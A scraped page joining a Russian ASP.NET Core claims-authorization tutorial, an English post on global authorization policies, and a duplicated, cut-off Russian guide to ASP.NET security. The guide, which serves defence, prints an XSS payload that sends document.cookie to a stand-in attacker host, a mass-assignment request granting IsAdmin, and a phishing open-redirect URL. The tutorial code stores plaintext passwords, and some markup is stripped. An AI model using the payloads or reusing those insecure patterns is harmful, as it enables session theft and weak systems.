Скрытие сообщений об ошибке

Последнее обновление: 06.09.2017

Создадим новый проект ASP.NET Core 2.0 по типу WebApplication (Model-View-Controller), который назовем ClaimsApp.

Затем добавим в проект новую папку для моделей, которую назовем Models. И определим в этой папке класс пользователя:

Public class User { public int Id { get; set; } public string Email { get; set; } public string Password { get; set; } public string City { get; set; } public string Company { get; set; } public int Year { get; set; } }

И также добавим в папку Models новый класс ApplicationContext, который будет представлять контекст данных:

Using Microsoft.EntityFrameworkCore; namespace ClaimsApp.Models { public class ApplicationContext: DbContext { public DbSet Users { get; set; } public ApplicationContext(DbContextOptions options) : base(options) { } } }

Теперь изменим класс Startup для установки и использования контекста данных:

Using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using ClaimsApp.Models; using Microsoft.EntityFrameworkCore; using System.Security.Claims; using Microsoft.AspNetCore.Authentication.Cookies; namespace ClaimsApp { public class Startup { public Startup(IConfiguration configuration) { Configuration = configuration; } public IConfiguration Configuration { get; } public void ConfigureServices(IServiceCollection services) { string connection = "Server=(localdb)\\mssqllocaldb;Database=claimsstoredb;Trusted_Connection=True;"; services.AddDbContext(options => options.UseSqlServer(connection)); services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme) .AddCookie(options => { options.LoginPath = new Microsoft.AspNetCore.Http.PathString("/Account/Register"); }); services.AddAuthorization(opts => { opts.AddPolicy("OnlyForLondon", policy => { policy.RequireClaim(ClaimTypes.Locality, "Лондон", "London"); }); opts.AddPolicy("OnlyForMicrosoft", policy => { policy.RequireClaim("company", "Microsoft"); }); }); services.AddMvc(); } public void Configure(IApplicationBuilder app) { app.UseStaticFiles(); app.UseAuthentication(); app.UseMvc(routes => { routes.MapRoute(name: "default", template: "{controller=Home}/{action=Index}/{id?}"); }); } } }

Здесь устанавливаются две политики - "OnlyForLondon" и "OnlyForMicrosoft". Первая политика требует, чтобы claim с типом ClaimTypes.Locality имел значение "London" или "Лондон". Если значений много, то мы их можем перечислить через запятую. Вторая политика требует наличия Claim с типом "company" и значением "Microsoft".

Для регистрации определим в папке Models дополнительную модель RegisterModel:

Using System.ComponentModel.DataAnnotations; namespace ClaimsApp.Models { public class RegisterModel { public string Email { get; set; } public string Password { get; set; } public string ConfirmPassword { get; set; } public string City { get; set; } public string Company { get; set; } public int Year { get; set; } } }

И также для представлений контроллера добавим в папку Views подкаталог Account и поместим в него новое представление Register.cshtml :

@model ClaimsApp.Models.RegisterModel Регистрация Введите Email
Введите пароль
Повторите пароль
Введите город
Введите компанию
Введите год рождения

А в контроллере AccountController определим действие регистрации:

Using System.Collections.Generic; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using ClaimsApp.Models; using Microsoft.EntityFrameworkCore; using System.Security.Claims; using Microsoft.AspNetCore.Authentication; using Microsoft.AspNetCore.Authentication.Cookies; namespace ClaimsApp.Controllers { public class AccountController: Controller { private ApplicationContext _context; public AccountController(ApplicationContext context) { _context = context; } public IActionResult Register() { return View(); } public async Task Register(RegisterModel model) { if (ModelState.IsValid) { User user = await _context.Users.FirstOrDefaultAsync(u => u.Email == model.Email); if (user == null) { // добавляем пользователя в бд user = new User { Email = model.Email, Password = model.Password, Year = model.Year, City = model.City, Company = model.Company }; _context.Users.Add(user); await _context.SaveChangesAsync(); await Authenticate(user); return RedirectToAction("Index", "Home"); } else ModelState.AddModelError("", "Некорректные логин и(или) пароль"); } return View(model); } private async Task Authenticate(User user) { // создаем один claim var claims = new List { new Claim(ClaimsIdentity.DefaultNameClaimType, user.Email), new Claim(ClaimTypes.Locality, user.City), new Claim("company", user.Company) }; // создаем объект ClaimsIdentity ClaimsIdentity id = new ClaimsIdentity(claims, "ApplicationCookie", ClaimsIdentity.DefaultNameClaimType, ClaimsIdentity.DefaultRoleClaimType); // установка аутентификационных куки await HttpContext.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, new ClaimsPrincipal(id)); } } }

В итоге весь проект будет выглядеть следующим образом:

Для тестирования доступа изменим контроллер HomeController:

Public class HomeController: Controller { public IActionResult Index() { return View(); } public IActionResult About() { ViewData["Message"] = "Your application description page."; return View(); } }

Здесь метод Index доступен только для тех пользователей, которые удовлетворяют политике "OnlyForLondon", а метод About - для пользователей, соответствующих политике "OnlyForMicrosoft".

И пусть в представлении для метода Index выводятся все объекты Claim для текущего пользователя:

@using System.Security.Claims @foreach(var claim in User.Claims.ToList()) {

@claim.Type: @claim.Value

} Город: @User.FindFirst(x => x.Type == ClaimTypes.Locality).Value Компания: @User.FindFirst(x => x.Type == "company").Value

Для создания базы данных создадим и применим миграции. После создания базы данных запустим проект и зарегистрируем нового пользователя:

И после регистрации перейдем к методу Index контроллера HomeController.

Along with role-based and claim based authorization, ASP.NET Core also supports the policy-based authorization. A policy is nothing but a collection of requirements with different data parameters to evaluate the user Identity. Read more about the policy-based authorization . This short post shows how to implement single authorization policy in ASP.NET Core 2.0 application. Once implemented, the policy becomes global and applicable to the whole application.

To implement single authorization policy, open Startup.cs and add the following code in the ConfigureServices method to enable authorization for all the controllers (be it MVC or API).

Public void ConfigureServices(IServiceCollection services) { services.AddMvc(o => { var policy = new AuthorizationPolicyBuilder() .RequireAuthenticatedUser() .Build(); o.Filters.Add(new AuthorizeFilter(policy)); }); }

This code ensures that every page will require authentication as the policy will demand the user to be authenticated. Only the actions marked with can be accessed.

The above code block will enable authorization for all the environments (Development, staging or production). However, you don’t want the same behavior in the development environment as it can increase the testing efforts. It would be appropriate to exclude the development environment. To exclude development environment, we need to check for the environment and write code accordingly. To do that, let’s modify the ConfigureServices method to take IHostingEnvironment service and check for the development environment. Like:

Public void ConfigureServices(IServiceCollection services, IHostingEnvironment env) { if (!env.IsDevelopment()) { services.AddMvc(o =>

Save the changes and run the application. And you should be surprised to see the following exception message in the browser.

“The ConfigureServices method must either be parameterless or take only one parameter of type IServiceCollection.”

The message clearly says, the ConfigureServices method either should be with no parameters or with only one parameter. Therefore, we can’t directly inject the IHostingEnvironment in the ConfigureServices method. Then, the question is how do we make it available in the ConfigureServices method?

Well, we can inject the IHostingEnvironment service in the Startup class constructor and store it in a variable. The existing Startup class constructor creates the IConfigurationRoot using a ConfigurationBuilder and saves it to a property on Startup called Configuration . We can take the same approach for IHostingEnvironment by saving it to a property on Startup, for use later in ConfigureServices . The Startup class constructor would look something like this:

Public Startup(IConfiguration configuration, IHostingEnvironment env) { Configuration = configuration; HostingEnvironment = env; } public IConfiguration Configuration { get; } public IHostingEnvironment HostingEnvironment { get; }

Next, we can use the HostingEnvironment variable in ConfigureServices method to check for the environment. We’ll enable the authorization only for environments other than development.

Public void ConfigureServices(IServiceCollection services) { if (!HostingEnvironment.IsDevelopment()) { services.AddMvc(o => { var policy = new AuthorizationPolicyBuilder() .RequireAuthenticatedUser() .Build(); o.Filters.Add(new AuthorizeFilter(policy)); }); } else services.AddMvc(); }

Bonus Tip: If you are already using either JWT or OAuth authentication for your application and wish to disable authentication in the development environment, then use the following code in ConfigureServices method.

If (HostingEnvironment.IsDevelopment()) { services.AddMvc(opts => { opts.Filters.Add(new AllowAnonymousFilter()); }); } else { services.AddMvc(); }

To summarize, the technique shown above helps you to implement single authorization policy globally in ASP.NET Core 2.0 apps. You can easily enable it only for the staging or production environment.

Thank you for reading. Keep visiting this blog and share this in your network. Please put your thoughts and feedback in the comments section.

ASP.NET MVC - не самый хайповый, но довольно популярный стек в среде веб-разработчиков. С точки зрения (анти)хакера, его стандартная функциональность дает тебе кое-какой базовый уровень безопасности, но для предохранения от абсолютного большинства хакерских трюков нужна дополнительная защита. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET-разработчик (будь то Core, MVC, MVC Razor или Web Forms).

Примечание: мы продолжаем серию публикаций полных версий статей из журнала Хакер. Орфография и пунктуация автора сохранены.

Я думаю со мной согласятся многие, что ASP.NET MVC это стек довольно популярных технологий. Хоть технология давно не на пике хайпа, но спрос на.NET-овских веб-разработчиков довольно высок.

Вместе с тем, при разработке обязательно следует учитывать аспекты безопасности. Хоть какой-то функционал и спасает от классических всем известных атак, но от довольно большого количества хакерских трюков требуется дополнительная защита. Давайте рассмотрим популярные виды атак и способы защиты. Must know для ASP.NET разработчика (будь то Core, MVC, MVC Razor или WebForms).

Начнем со всем известных видов атак.

SQL Injection

Как ни странно, но в 2017-ом году Injection и в частности SQL Injection находится на первом месте среди Top-10 рисков безопасности OWASP (Open Web Application Security Project) Этот вид атаки подразумевает, что данные, введенные пользователем используются на серверной стороне в качестве параметров запроса.

Пример классической SQL инъекции скорее характерен именно для приложений Web Forms.
От атак помогает защититься использование параметров в качестве значений запроса:

string commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters.AddWithValue("@ID", customerID);

Если вы разрабатываете MVC приложение, то Entity Framework прикрывает некоторые уязвимости. Для того, чтобы в MVC/EF приложении сработала SQL инъекция нужно умудриться. Однако это возможно если вы выполняете SQL код с помощью ExecuteQuery или вызываете плохо написанные хранимые процедуры.

Несмотря на то, что ORM позволяет избежать SQL Injection (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex выражения укажите диапазон от ^+$
Если в поле должны быть введены цифры, то укажите это как требование:

public string Zip { get; set; }

В WebForms ограничить возможные значения можно с помощью валидаторов. Пример:

Начиная с.NET 4.5 WebForms используют Unobtrusive Validation. А это значит, что не требуется написание какого-то дополнительного кода для проверки значения формы.

Валидация данных частности помочь защититься от еще одной всем известной уязвимости под названием Cross-Site Scripting (XSS).

XSS

Типичный пример XSS – добавление скрипта в комментарий или запись в гостевую книгу. Например, такого:

document.location="https://verybadcoolhacker.com/?cookie="+encodeURIComponent(document.cookie)

Как вы понимаете, в данном примере куки с вашего сайта передают в качестве параметра на какой-то хакерский сайт.

В Web Forms можно совершить ошибку с помощью примерно такого кода:

Извините , но пароль ошибочный

Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта можно как минимум использовать другое ASP.NET выражение: , которое энкодит свое содержимое.

Если вы используете Razor, то строки автоматически энкодируются. Так что чтобы получить XSS нужно постараться и совершить ошибку. Например, использовать .Raw(Model.username). Или в вашей модели использовать MvcHtmlString вместо string

Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В.NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder и UrlEncoder

Следующий пример вернет строку "":

string encodedString = HtmlEncoder.Default.Encode("");

В классическом.NET используется HttpUtility.HtmlEncode. А начиная с.NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:

Таким образом, используя старый код HttpUtility.HtmlEncode вы фактически будете использовать новый более стойкий к уязвимостям класс (также новый код будут использовать старые классы HttpServerUtility, and HttpResponseHeader).

Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением.
Кроме того, если вы используете какую-то строку, введенную пользователем в качестве параметра для передачи в URL, то обязательно используйте UrlEncoder.

Cross-Site Request Forgery (CSRF)

Википедия в “алиэкспрессовском” стиле утверждает, что на русском это звучит как «Межсайтовая подделка запроса».

Это такой тип атаки, при которой пользователь заходит на какой-либо вредоносный сайт, и этот сайт отправляет запросы на другой сайт. На хороший сайт, на котором пользователь зарегистрирован, и который он недавно посещал. Может случится такое, что информации об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то вредоносное скрытое действие.

Избежать этой атаки в MVC помогает всем известный хелпер .AntiForgeryToken() добавленный во View. И добавленный перед action контроллера атрибут .

Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того как пользователь совершает запрос он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохранятся как в заголовке, так и в скрытом поле или куки.

Razor страницы защищены по умолчанию от XSRF/CSRF атак. А вот если вы используете AJAX запросы, то вы можете отправить токены в заголовке. Это не так просто, как использование AntiForgeryToken.

Для настройки этой возможности ASP.NET Core использует следующий сервис: Microsoft.AspNetCore.Antiforgery.IAntiforgery .

Классические ASP.NET приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.

Open redirect attacks

Будьте аккуратнее с редиректами. Следующий код очень опасен:

Response.Redirect(Request.QueryString["Url"]);

Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассматривать адрес полностью (особенно если он длинный) а кликнуть ссылку, таким образом перейдя на вредный сайт с вашего. Эта уязвимость может использоваться в частности для фишинга. Пример фишинговой ссылки:
http://www.goodwebsite.com/Redirect?url=http://www.goodweebsite.com

Многие пользователи получив e-mail со ссылкой смотрят совпадает ли домен и совсем не ожидают, быть перенаправленными по ссылке с хорошего вебсайта на какой-то плохой. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (думая, что случайно вышли из аккаунта). После чего могут быть перенаправлены злоумышленниками на настоящий сайт.

Этот вид атак касается и MVC. В следующем примере происходит проверка на то является ли ссылка локальной:

private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // …. }

Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect

private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); }

Вообще, старайтесь никогда не доверять полученным данным.

Mass assignment

Разберем эту уязвимость на примере.
Допустим, в вашем вебсайте есть простая модель с двумя свойствами

public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } }

И есть довольно обычная и тоже довольно простая вьюшка

@model UserModel @if (Model.IsAdmin) { You are an admin } else { You are a standard user } Submit

С помощью этой вьюшки можно редактировать только имя пользователя, так ведь?
А теперь давайте перейдем к такому же простому коду:

public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); }

Все ведь отлично, да?
Как оказывается, совсем нет. А все из-за того, что экшн помечен как HttpPost.
Для того, чтобы убедится в этом достаточно открыть утилиту вроде Postman или Fiddler и отправить POST запрос на адрес с указанием параметров id и IsAdmin. Если вы тестируете локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true

Как вы можете заметить на скриншоте получен доступ к секретной информации (в HTML коде видна строка You are an admin)

Как избежать этого типа атаки? Самый простой вариант - это не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если такой ситуации не избежать, то быть готовым к тому, что передано может быть все что угодно. Один из вариантов это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:

Избежать многих атак помогает установка определенных значений в заголовок запроса. Заголовки поддерживаются не всеми браузерами (в основном не поддерживаются старыми версиями). Рассмотрим некоторые популярные виды атак, избежать которых поможет установка Header-ов.

XSS

Уже рассмотренный выше вид атаки. Для дополнительной защиты можно использовать заголовок content-security-policy. Он позволит загружать контент только с определенных ресурсов. Например, можно разрешить запуск скриптов только с текущего сайта:

content-security-policy: script-src "self"

Есть еще возможность указать доверенные сайты, доступ к содержимому которых разрешен.
Следующий заголовок тоже помогает защититься от XSS, хотя, как правило, он включен браузерами по умолчанию: x-xss-protection. Пример:

x-xss-protection: 1; mode=block Click-Jacking

Зайдя на какой-то сайт пользователю может быть открыто какое-то окошко, ссылка или баннер поверх которого добавлена какая-то скрытая кнопка/ссылка внутри прозрачного iframe. И получается, что пользователь кликает на что-то, на что он хочет кликнуть, но при этом фактически кликает на скрытый объект против своей воли.

Установка заголовка "X-FRAME-OPTIONS " со значением "DENY" запретит помещение страниц вашего сайта в iframe. Если у вас на сайте нет фреймов, то это хороший вариант для вас. Если же вы используете iframe для отображения страниц вашего сайта, то значение SAMEORIGIN разрешит отображать страницы вашего сайта во фрейме, но только на других страницах того же самого вашего сайта.

MIME sniffing

Этот не название способа атаки, а проверка содержимого файлов, которая связана в первую очередь с XSS. Зачастую злоумышленник может загрузить какой-либо вредный код в виде какого-то файла с совершенно безобидным расширением. Допустим, в качестве тега video. И может случится так, что браузер распознает файл как код и выполнит его. Чтобы этого не произошло может использоваться установка заголовка "X-Content-Type-Options: nosniff". При получении этого заголовка браузер будет проверять является ли содержимое файла содержимым именно того формата, который указан (эта проверка и называется MIME sniffing).

Referrer-Policy

Браузеры автоматически добавляют в заголовки запросов при переходе на какой-то сайт ссылку на сайт с которого был совершен переход. Это очень удобно для аналитики. Например, не составит большого труда написать какой-то код, который составит для вас статистику со списком сайтов с которых посетители заходят на ваш сайт. Однако, если в стоке адреса на вашем сайте имеются запросы с какой-то конфиденциальной информацией, то очень желательным было бы скрыть эту информацию от других сайтов. Например: http://www.somegoodsite.com/Edit?id=34543276654

Каким образом можно добавить на ваш сайт заголовки запросов

Заголовки запросов можно установить, как с помощью настроек IIS, так и из кода приложения. Настройку IIS рассматривать не будем, а рассмотрим варианты установки заголовков из кода.

Для того, чтобы добавить заголовок в ASP.NET Core можно создать Middleware. Middleware как можно понять из названия - это какой-то промежуточный код, находящийся где-то посередине цепочки процесса запросов и ответов.
Вот пример пары классов, позволяющий добавить заголовок X-Frame-Options:DENY

public class HeadersMiddleware { private readonly RequestDelegate _next; public HeadersMiddleware(RequestDelegate next) { _next = next; } public async Task Invoke(HttpContext context) { IHeaderDictionary headers = context.Response.Headers; headers["X-Frame-Options"] = "DENY"; await _next(context); } } public static class HeadersMiddlewareExtensions { public static IApplicationBuilder UseHeadersMiddleware(this IApplicationBuilder builder) { return builder.UseMiddleware(); } }

Зарегистрировать получившийся middleware можно в методе Configure файла Startup.cs одной строкой:

Теперь среди списка заголовков, полученных от сервера мы сможем увидеть наш недавно добавленный X-Frame-Options

Можно даже не использовать Middleware, а добавить заголовок сразу в метод Config файла Startup.cs, заменив

app.UseHeadersMiddleware();

app.Use(async (context, next) => { context.Response.Headers.Add("X-Frame-Options", "SAMEORIGIN"); await next(); });

Этот способ выглядит проще. Кроме того, с его помощью можно установить заголовки как для всего контента так и только для динамического (соответственно добавить код до строки app.UseStaticFiles() и после).

INFO

Динамический контент это файлы, которые, соответственно содержат в себе динамические данных модели. Статический контент - это такие файлы как html, css, js, jpg и т.п.

В классическом ASP.NET добавление заголовка совершается немного иным способом.
Есть два варианта. Первый это добавить в секцию system.webServer файла web.config теги. Например, такие:

Заметьте, что можно не только добавлять, но и удалять теги. В примере удаляется заголовок X-Powered-By. Чем меньше информации мы раскрываем, тем лучше, не так ли? Результат:

Кроме заголовка X-Powered-By вполне можно убрать еще и заголовки Server и X-AspNet-Version.
Второй вариант добавления заголовков это добавление метода Application_BeginRequest в файл Global.asax

protected void Application_BeginRequest(object sender, EventArgs e) { HttpContext.Current.Response.AddHeader("X-FRAME-OPTIONS", "DENY"); } NWebsec

Для добавления заголовком можно воспользоваться и довольно популярным NuGet пакетом под названием NWebsec. Автором пакета является Andre N. Klingsheim.
NWebsec можно использовать как с обычными ASP.NET приложениями, так и с Core 1.1
В приложении ASP.NET после установки пакета в web.config появятся следующие теги:

В качестве их содержимого можно добавить установку заголовков. Скажем, такой вариант:

app.UseXContentTypeOptions(); app.UseReferrerPolicy(opts => opts.NoReferrer());

app.UseStaticFiles();

app.UseXfo(xfo => xfo.Deny()); app.UseRedirectValidation();

Один большой минус NWebsec это то, что версия.NET Core 2.0 пока что не поддерживается.

Самые страшные ошибки конфигурированияХранение строки подключения к базе данных

Если вы работаете в полноценном ASP.NET, то лучший вариант хранения строки подключения это web.config файл. Причем храните строку не в открытом виде, а в зашифрованном. Сделать это можно с помощью утилиты aspnet_regiis.exe Самый простой вариант - это запустить Developer Command Prompt в режиме администратора и выполнить команду

aspnet_regiis.exe -pef connectionStrings C:\inetpub\wwwroot\YourAppName

2 параметра команды это раздел который необходимо зашифровать (в данном случае connectionStrings) и путь к директории в которой находится файл web.config

Если вы работаете в ASP.NET Core, то вы можете использовать Secret Manager tool для хранения строк во время процесса разработки.
Никакого готового варианта для production для.NET Core пока что нет. Но если вы хостите приложение в Azure, то можете сохранить конфиденциальную информацию в параметрах приложения

При этом саму строку подключения вы можете вынести в отдельный файл. Из соображений безопасности этот файл лучше исключить из системы контроля версий.

Таким же образом можно вынести и конфиденциальные параметры:

В самом файле необходимо просто указать то содержимое, которое было бы использовано в качестве содержимого тегов.

Скрытие сообщений об ошибке

Возможно вы видели когда-либо «желтый экран смерти» с текстом кода, в котором возникла ошибка. Я не случайно поместил эту рекомендацию сразу после строки подключения. Тем нагляднее будет пример в котором злоумышленник может искусственным образом создать ошибку и получить какую-либо полезную для себя информацию. В идеальном случае это может быть строка подключения. Иногда даже мелочь может сократить время поиска уязвимостей сайта. Если у вас классическое приложение ASP.NET, то в web.config режим CustomErrors обязательно оставляем On или хотя бы RemoteOnly:

В ASP.NET Core можно разделить отображение для режима разработки и для продакшн с помощью NuGet пакета Microsoft.AspNetCore.Diagnostics. Например, для настройки отображения сообщения об ошибке в метод Configure класса StartUp можно добавить:

env.EnvironmentName = EnvironmentName.Production; if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } else { app.UseExceptionHandler("/error"); } Еще несколько ошибок конфигурирования web.config

Если вдруг у вас в web.config случайно попали настройки трейсинга или дебага, то на продакшен сервере обязательно ставим значения false.

Для того, чтобы взломщик не смог получить доступ к файлу куки (скажем, с помощью XSS или каким-нибудь другим способом), необходимо чтобы значением следующего параметра было true

Broken Authentication and Session Management

Для хранения паролей и другой конфиденциальной информации используйте только стойкие хаши с salt. OWASP рекомендует Argon2, PBKDF2, scrypt and bcrypt.

Используйте Forms authentication только для интранет сайтов. Если вы хотите использовать аутентификацию в веб, то переходите на Identity.

Если вы уже используете Identity с ASP.NET Core приложением, то вы можете ограничить число попыток ввода пароля добавив в метод ConfigureServices файла Startup.cs следующий код:

services.Configure(options => { options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(30); options.Lockout.MaxFailedAccessAttempts = 10; });

Если вы разрешаете пользователю отредактировать какие-то его данные, то проверяйте редактирует ли он свои данные (помним о том, что полученным данным не стоит доверять):

public ActionResult EditProfileInfo(int id) { var user = _context.Users.FirstOrDefault(e => e.Id == id); if (user.Id == _userIdentity.GetUserId()) { // Редактируем данные } // … } Заключение

Насколько смог я постарался собрать воедино все что может пригодится ASP.NET разработчику. Конечно, рассказать получилось не обо всем. Например, можно еще отдельно рассмотреть возможные ошибки конфигурирования IIS. Однако данного материала должно хватить, чтобы усвоить основные правила и не совершать грубых ошибок.

безопасность

приложение

sql

хакер

xss

Добавить метки

ASP.NET MVC - не самый хайповый, но довольно популярный стек в среде веб-разработчиков. С точки зрения (анти)хакера, его стандартная функциональность дает тебе кое-какой базовый уровень безопасности, но для предохранения от абсолютного большинства хакерских трюков нужна дополнительная защита. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET-разработчик (будь то Core, MVC, MVC Razor или Web Forms).

Примечание: мы продолжаем серию публикаций полных версий статей из журнала Хакер. Орфография и пунктуация автора сохранены.

Я думаю со мной согласятся многие, что ASP.NET MVC это стек довольно популярных технологий. Хоть технология давно не на пике хайпа, но спрос на.NET-овских веб-разработчиков довольно высок.

Вместе с тем, при разработке обязательно следует учитывать аспекты безопасности. Хоть какой-то функционал и спасает от классических всем известных атак, но от довольно большого количества хакерских трюков требуется дополнительная защита. Давайте рассмотрим популярные виды атак и способы защиты. Must know для ASP.NET разработчика (будь то Core, MVC, MVC Razor или WebForms).

Начнем со всем известных видов атак.

SQL Injection

Как ни странно, но в 2017-ом году Injection и в частности SQL Injection находится на первом месте среди Top-10 рисков безопасности OWASP (Open Web Application Security Project) Этот вид атаки подразумевает, что данные, введенные пользователем используются на серверной стороне в качестве параметров запроса.

Пример классической SQL инъекции скорее характерен именно для приложений Web Forms.
От атак помогает защититься использование параметров в качестве значений запроса:

String commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters.AddWithValue("@ID", customerID);

Если вы разрабатываете MVC приложение, то Entity Framework прикрывает некоторые уязвимости. Для того, чтобы в MVC/EF приложении сработала SQL инъекция нужно умудриться. Однако это возможно если вы выполняете SQL код с помощью ExecuteQuery или вызываете плохо написанные хранимые процедуры.

Несмотря на то, что ORM позволяет избежать SQL Injection (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex выражения укажите диапазон от ^+$
Если в поле должны быть введены цифры, то укажите это как требование:

Public string Zip { get; set; }

В WebForms ограничить возможные значения можно с помощью валидаторов. Пример:

Начиная с.NET 4.5 WebForms используют Unobtrusive Validation. А это значит, что не требуется написание какого-то дополнительного кода для проверки значения формы.

Валидация данных частности помочь защититься от еще одной всем известной уязвимости под названием Cross-Site Scripting (XSS).

XSS

Типичный пример XSS – добавление скрипта в комментарий или запись в гостевую книгу. Например, такого:

document.location="https://verybadcoolhacker.com/?cookie="+encodeURIComponent(document.cookie)

Как вы понимаете, в данном примере куки с вашего сайта передают в качестве параметра на какой-то хакерский сайт.

В Web Forms можно совершить ошибку с помощью примерно такого кода:

Извините , но пароль ошибочный

Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта можно как минимум использовать другое ASP.NET выражение: , которое энкодит свое содержимое.

Если вы используете Razor, то строки автоматически энкодируются. Так что чтобы получить XSS нужно постараться и совершить ошибку. Например, использовать Html .Raw(Model.username). Или в вашей модели использовать MvcHtmlString вместо string

Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В.NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder и UrlEncoder

Следующий пример вернет строку "":

String encodedString = HtmlEncoder.Default.Encode("");

В классическом.NET используется HttpUtility.HtmlEncode. А начиная с.NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:

Таким образом, используя старый код HttpUtility.HtmlEncode вы фактически будете использовать новый более стойкий к уязвимостям класс (также новый код будут использовать старые классы HttpServerUtility, and HttpResponseHeader).

Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением.
Кроме того, если вы используете какую-то строку, введенную пользователем в качестве параметра для передачи в URL, то обязательно используйте UrlEncoder.

Cross-Site Request Forgery (CSRF)

Википедия в “алиэкспрессовском” стиле утверждает, что на русском это звучит как «Межсайтовая подделка запроса».

Это такой тип атаки, при которой пользователь заходит на какой-либо вредоносный сайт, и этот сайт отправляет запросы на другой сайт. На хороший сайт, на котором пользователь зарегистрирован, и который он недавно посещал. Может случится такое, что информации об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то вредоносное скрытое действие.

Избежать этой атаки в MVC помогает всем известный хелпер Html .AntiForgeryToken() добавленный во View. И добавленный перед action контроллера атрибут .

Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того как пользователь совершает запрос он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохранятся как в заголовке, так и в скрытом поле или куки.

Razor страницы защищены по умолчанию от XSRF/CSRF атак. А вот если вы используете AJAX запросы, то вы можете отправить токены в заголовке. Это не так просто, как использование AntiForgeryToken.

Для настройки этой возможности ASP.NET Core использует следующий сервис: Microsoft.AspNetCore.Antiforgery.IAntiforgery .

Классические ASP.NET приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.

Open redirect attacks

Будьте аккуратнее с редиректами. Следующий код очень опасен:

Response.Redirect(Request.QueryString["Url"]);

Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассматривать адрес полностью (особенно если он длинный) а кликнуть ссылку, таким образом перейдя на вредный сайт с вашего. Эта уязвимость может использоваться в частности для фишинга. Пример фишинговой ссылки:
http://www.goodwebsite.com/Redirect?url=http://www.goodweebsite.com

Многие пользователи получив e-mail со ссылкой смотрят совпадает ли домен и совсем не ожидают, быть перенаправленными по ссылке с хорошего вебсайта на какой-то плохой. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (думая, что случайно вышли из аккаунта). После чего могут быть перенаправлены злоумышленниками на настоящий сайт.

Этот вид атак касается и MVC. В следующем примере происходит проверка на то является ли ссылка локальной:

Private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // …. }

Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect

Private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); }

Вообще, старайтесь никогда не доверять полученным данным.

Mass assignment

Разберем эту уязвимость на примере.
Допустим, в вашем вебсайте есть простая модель с двумя свойствами

Public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } }

И есть довольно обычная и тоже довольно простая вьюшка

@model UserModel @if (Model.IsAdmin) { You are an admin } else { You are a standard user } Submit

С помощью этой вьюшки можно редактировать только имя пользователя, так ведь?
А теперь давайте перейдем к такому же простому коду:

Public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); }

Все ведь отлично, да?
Как оказывается, совсем нет. А все из-за того, что экшн помечен как HttpPost.
Для того, чтобы убедится в этом достаточно открыть утилиту вроде Postman или Fiddler и отправить POST запрос на адрес с указанием параметров id и IsAdmin. Если вы тестируете локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true

Как вы можете заметить на скриншоте получен доступ к секретной информации (в HTML коде видна строка You are an admin)

